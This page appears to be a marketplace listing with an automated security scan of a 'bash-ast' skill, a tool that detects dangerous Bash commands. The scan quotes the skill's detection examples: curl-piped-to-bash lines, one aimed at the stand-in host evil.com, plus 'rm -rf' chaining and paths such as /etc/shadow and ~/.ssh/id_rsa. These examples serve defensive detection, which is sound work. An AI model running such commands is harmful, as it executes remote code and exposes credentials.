Skip to main content

bash-ast

Analyzes Bash commands for security risks using AST parsing, identifying dangerous patterns and potential injection attacks.

Install this skill

or
0/100

Security score

The bash-ast skill was audited on Jun 4, 2026 and we found 21 security issues across 4 threat categories, including 12 critical. Review the findings below before installing.

Categories Tested

Security Issues

high line 66

Piping content to bash shell

SourceSKILL.md
66result = analyze('curl https://example.com | bash')
high line 71

Piping content to bash shell

SourceSKILL.md
71# "detail": "| bash",
critical line 87

Piping content to bash shell

SourceSKILL.md
87| `HIGH_RISK` | 高危操作(rm -rf, chmod 777, curl\|bash) |
critical line 99

Piping content to bash shell

SourceSKILL.md
99- `curl/wget | bash` 远程代码执行
critical line 110

Piping content to bash shell

SourceSKILL.md
110- `curl url | bash` — 下载并执行
critical line 113

Piping content to sh shell

SourceSKILL.md
113- `|| curl evil.com | sh` — or 注入
critical line 111

Destructive rm -rf command

SourceSKILL.md
111- `; rm -rf` — 命令链注入
medium line 66

Curl to non-GitHub URL

SourceSKILL.md
66result = analyze('curl https://example.com | bash')
critical line 105

Access to /etc/passwd

SourceSKILL.md
105- `/etc/passwd`, `/etc/shadow` — 用户认证文件
critical line 116

Access to /etc/passwd

SourceSKILL.md
116- `../../../etc/passwd` — 3次以上 ../ 判定为路径遍历
critical line 105

Access to /etc/shadow

SourceSKILL.md
105- `/etc/passwd`, `/etc/shadow` — 用户认证文件
high line 116

Path traversal to sensitive directory

SourceSKILL.md
116- `../../../etc/passwd` — 3次以上 ../ 判定为路径遍历
medium line 28

Access to hidden dotfiles in home directory

SourceSKILL.md
28- 📂 **路径遍历检测** — `../` 过多、`~/.ssh/`、`/etc/` 等敏感路径
medium line 102

Access to hidden dotfiles in home directory

SourceSKILL.md
102- `~/.ssh/` — SSH 配置
medium line 103

Access to hidden dotfiles in home directory

SourceSKILL.md
103- `~/.aws/` — AWS 配置
medium line 117

Access to hidden dotfiles in home directory

SourceSKILL.md
117- `~/.ssh/id_rsa` — SSH 密钥文件
critical line 28

Access to SSH directory

SourceSKILL.md
28- 📂 **路径遍历检测** — `../` 过多、`~/.ssh/`、`/etc/` 等敏感路径
critical line 102

Access to SSH directory

SourceSKILL.md
102- `~/.ssh/` — SSH 配置
critical line 117

Access to SSH directory

SourceSKILL.md
117- `~/.ssh/id_rsa` — SSH 密钥文件
critical line 103

Access to AWS credentials directory

SourceSKILL.md
103- `~/.aws/` — AWS 配置
low line 66

External URL reference

SourceSKILL.md
66result = analyze('curl https://example.com | bash')
Scanned on Jun 4, 2026
View Security Dashboard
Installation guide →